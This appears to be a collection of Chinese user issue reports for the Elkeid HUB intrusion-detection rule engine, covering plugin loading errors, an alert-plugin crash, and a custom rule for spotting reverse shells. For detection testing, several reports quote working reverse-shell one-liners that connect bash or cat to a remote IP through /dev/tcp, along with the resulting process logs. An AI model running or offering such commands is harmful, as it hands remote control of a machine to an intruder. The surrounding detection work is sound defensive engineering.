下载解压后，修改了config里的input，out对应的kafka地址。执行./bootstrap.sh，报了panic: [AgentSmith INIT] CUSTOM PLUGIN INIT FAILEDplugin process run timeout, List plugin error: stat /root/elkeid/elkeid_hub_community/py/elkeid.sock: no such file or directory 。按照文档说明去cat py/plugin.stdout，没有该文件

规则如下，在check_node中调用【DetectTTY】插件，类型为文档中的【CUSTOM_ALLDATA】

    <rule rule_id="pipe_shell_detect" author="mg" type="Detection">
        <rule_name>pipe_shell_custom_detect</rule_name>
        <alert_data>True</alert_data>
        <harm_level>high</harm_level>
        <desc kill_chain_id="persistent" affected_target="host_process">Double Piped Reverse Shell Detection, Connection Part</desc>
        <filter part="data_type">59</filter>
        <check_list>
            <!-- <check_node type="EQU" part="exe" logic_type="or" separator="|">
                <![CDATA[/bin/cat|/usr/bin/cat|/usr/bin/ls|/bin/ls|/usr/bin/cp|/bin/cp]]>
            </check_node> -->
            <check_node type="CUSTOM_ALLDATA">DetectTTY</check_node>
        </check_list>
        <node_designate></node_designate>
        <del />
        <modify></modify>
        <action />
        <append type="static" append_field_name="alert_type_us">persistent</append>
        <append type="static" append_field_name="rule_name">pipe_shell_custom_detect</append>
    </rule>

【DetectTTY】插件代码

from ast import Try
import json

class Plugin(object):

    def __init__(self):
        self.name = None
        self.type = None
        self.log = None
        self.redis = None

    def plugin_exec(self, arg, config):
        self.log.info(arg)
        result = dict()
        try:
            data = json.loads(arg)
            tty = data['tty']
            new_tty = tty[:3]+'/'+tty[3:]
            if data['stdin'].find(new_tty) > -1 and data['stdout'].find(new_tty) > -1:
                result["flag"] = False
                result["msg"] = arg
                self.log.info('false')
            else:
                result["flag"] = True
                result["msg"] = arg
                self.log.info('true')
        except Exception as e:
            result["flag"] = False
            result["msg"] = arg
            self.log.info('exce')
            return  result

目录【DetectTTY/elkeid.txt】的内容

[root@elkeid DetectTTY]# cat elkeid.txt 
[plugin]
name = DetectTTY
type = Custom
description = tty
runtime = Python
author = mg

执行相关命令后，未发现日志信息有任何关于此插件的信息打印，但是其它插件有信息打印出来

我们做了某个规则，存在短时间内会有大量告警产生，告警后会有如下动作：

告警 -> 邮件 告警 -> 钉钉

个人怀疑可能是瞬时的邮件发送太多导致进程挂了。

麻烦官方看看。

错误如下：

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/elkeid/hub/py/pypy/site-packages/gevent/monkey.py", line 883, in _shutdown
    sleep()
  File "/elkeid/hub/py/pypy/site-packages/gevent/hub.py", line 159, in sleep
    waiter.get()
  File "/elkeid/hub/py/pypy/site-packages/gevent/_waiter.py", line 154, in get
    return self.hub.switch()
  File "/elkeid/hub/py/pypy/site-packages/gevent/_greenlet_primitives.py", line 65, in switch
    return _greenlet_switch(self) # pylint:disable=undefined-variable
  File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 61, in switch
    return self.__switch('switch', (args, kwds))
  File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 115, in __switch
    args, kwds = unbound_method(current, *baseargs, to=target)
  File "/elkeid/hub/py/pypy/site-packages/gevent/greenlet.py", line 906, in run
    result = self._run(*self.args, **self.kwargs)
  File "start.py", line 232, in MAdMVLLDiXAtecYUDHboItopciRTNvvQzoOQHRuqtSVzMHWtYmMVjCziVxLIiVqdWeHmBUuMHjLNqmPMNtWyLqVbRzuPyXyOYwseiTjyPcBFtkFGKCDkYljoCNxmQQib
    zXOOpLGxKCFTqTCDVeLFTGSmwadspsqrDRujvSasYDdMYMWTlYHKUpcvgrFviMkYuyfiDukfCQRZQGLUNLIdaRTZrVBZrjbSMbywnBxjpPxfqtimxIxxULfGGyyvtAiv = JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA(rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId, MpMqkamoyCAZEAWGzRMVPyTgurkzhLeBtamvZYMzJJEVzFELqcwIuBHoNKZneCDHeuBVfizKwweZHrGwymjvyOnGnoHSDOkhWGaUNNIIpIllzqAkLrwzSGPyaCBNtBgB)
  File "/elkeid/hub/py/sthqiWDuarARPqndkeXjroRbJVUlVjFOHZBhnByxlvcQcybBMNkqXCPaHTLWrviEjnXjgGLVxFKnwbYmOfBPWrMabvEHUBVhvVibmReBRJJuOTQAigWHnstvTTAmHphI.py", line 1267, in JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA
    IAWinSrpwEbhWZLtnwwpeygFGRmNhexkUISkMzrpRHWxBQUDJObqnIpdNqTBgNqBpOKJQdBujWacShKFulFkPMtZzvWJPTwMBjjzmQOBFkdICCVyRWIVnrhVoyxQmezM = MUxpTCwXyGICtMgnkyCDQPutAdqbDWUwTLljQxzYRhOCNlTaykQaqlCGtiTsDhAaLAkwHPJvZOUtegjsFnHVPbNIzUMUFtkCEObLCecvzJkgssyrkFoiuRgsrNApFrdQ[rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId](LeOrCeoGyEHyYBDtEtCGWeWUjuxIIahbnAnZbnghRHqvibDNMarZdlpZjjJKNOBmsJUDXZvaAXpOiESZNJUBSEYoPyCURBHmMXeaLfSAfbcbAYMocWFabmAzwYoNdLeh, TwqkyTgFXKcxyAfUseFdgomZURnsIDPtkDqFdSWZuVxKODQoYBdXBhHFYJVfNOFqyAzWdLfMCdSSQXTiDZlbbICRCjgQpkNnmJzfxoHZbQeurXdTCUjHPkfYiTqmZUbA)
  File "/elkeid/hub/config/plugin/SendToEmail/plugin.py", line 49, in plugin_exec
    exit(0)
  File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib-python/3/_sitebuiltins.py", line 26, in __call__
    raise SystemExit(code)
SystemExit: 0
2022-07-11T07:54:07Z <greenlet.greenlet object at 0x0000000001571550> failed with SystemExit

exec 5<>/dev/tcp/10.71.5.222/666;cat <&5|while read line;do $line >&5 2>&1;done

{ "bootTime":"2022-01-19 19:11:31.000", "cmdline":"cat", "cwd":"/", "exe":"/usr/bin/cat", "fd_num":"1", "name":"cat", "pid":"12778", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"/dev/pts/0", "stdin":"socket:[583396364]", "stdout":"pipe:[583396365]", "terminal":"/pts/0", "username":"root" },

这种反弹shell如何判断比较好？没有进程命令行特征，直接判断cat 输入有重定向？

麻烦评估下这个 规则改动，

https://github.com/bytedance/Elkeid-HUB/pull/4

cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

{ "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

判断所有程序的stdin,stdout重定向，避免被绕过

cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

{ "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

在plugin/SendToLarkGroup/plugin.py更改了一下json输出的格式重新运行hub时出现报错[RuleCheck]Check RuleSetpush_alert error!plugin SendToLarkGroup not found 截图暂时没了 plugin.py更改内容：

class Plugin(object):

def __init__(self):
    self.name = None
    self.type = None
    self.log = None
    self.redis = None

def plugin_exec(self, arg, config):
    self.log.info(arg)
    self.log.info(config)
    arg=json.dumps(arg,indent=2) 
    result = dict()
    headers = {
        'Content-Type': 'application/json ',
        'charset':'utf-8',
    } 
    data = {
        "app_id": app_id,
        "app_secret": app_secret,
    }
    data=json.dumps(data,indent=2)    
    response = requests.post('https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal', headers=headers, data=data)
    self.log.info(response.json())
    token=response.json()['tenant_access_token']
    headers = {
        'Authorization': 'Bearer '+token,
        'Content-Type': 'application/json; charset=utf-8',
    }   
    data = {
        "open_chat_id":config["id"],
        "msg_type":"text",
        "content":{
            "text":arg,
        }       
    }
    data=json.dumps(data,indent=2) 
    self.log.info(data)
    response = requests.post('https://open.feishu.cn/open-apis/message/v3/send/', headers=headers, data=data)
    self.log.info(response.json())
    result["done"] = True
    return result

自己创建了一个plugin，名为ChangeMod 文件内容与上面一致只是名字不同 重新运行也报错[RuleCheck]Check RuleSetpush_alert error!plugin ChangeMod not found

然后把hub/py/.success删除重新运行./bootstrap.sh发现插件加载成功且格式已经变更。

最后问一下，为什么后台有告警了但是飞书机器人却没有及时发送消息甚至没有消息，策略都是已经设置了的。。